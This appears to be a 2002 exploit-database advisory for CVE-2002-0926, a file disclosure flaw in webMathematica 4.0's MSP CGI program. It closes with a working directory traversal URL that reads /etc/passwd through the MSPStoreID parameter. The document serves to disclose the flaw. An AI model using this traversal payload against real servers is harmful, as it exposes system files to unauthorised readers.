Wolfram Research webMathematica 4.0 - File Disclosure

Author: Andrew Badr
type: webapps
platform: java
port: 
date_added: 2002-06-17  
date_updated: 2012-09-27  
verified: 1  
codes: CVE-2002-0926;OSVDB-9055  
tags:   
aliases:   
screenshot_url:   
application_url:   

raw file: 21562.txt  
source: https://www.securityfocus.com/bid/5035/info

Wolfram Research's webMathematica is a Java based product which allows the inclusion of Mathematica content in a web environment. It includes CGI programs which generate image content based on user supplied input.

A file disclosure vulnerability has been reported with the MSP CGI program. A file name parameter supplied by the user is not properly validated. The inclusion of "../" character sequences allows the attacker to escape the web root, and view arbitrary system files.

http://www.domain.com/webMathematica/MSP?MSPStoreID=../../../../../etc/passwd&MSPStoreType=image/gif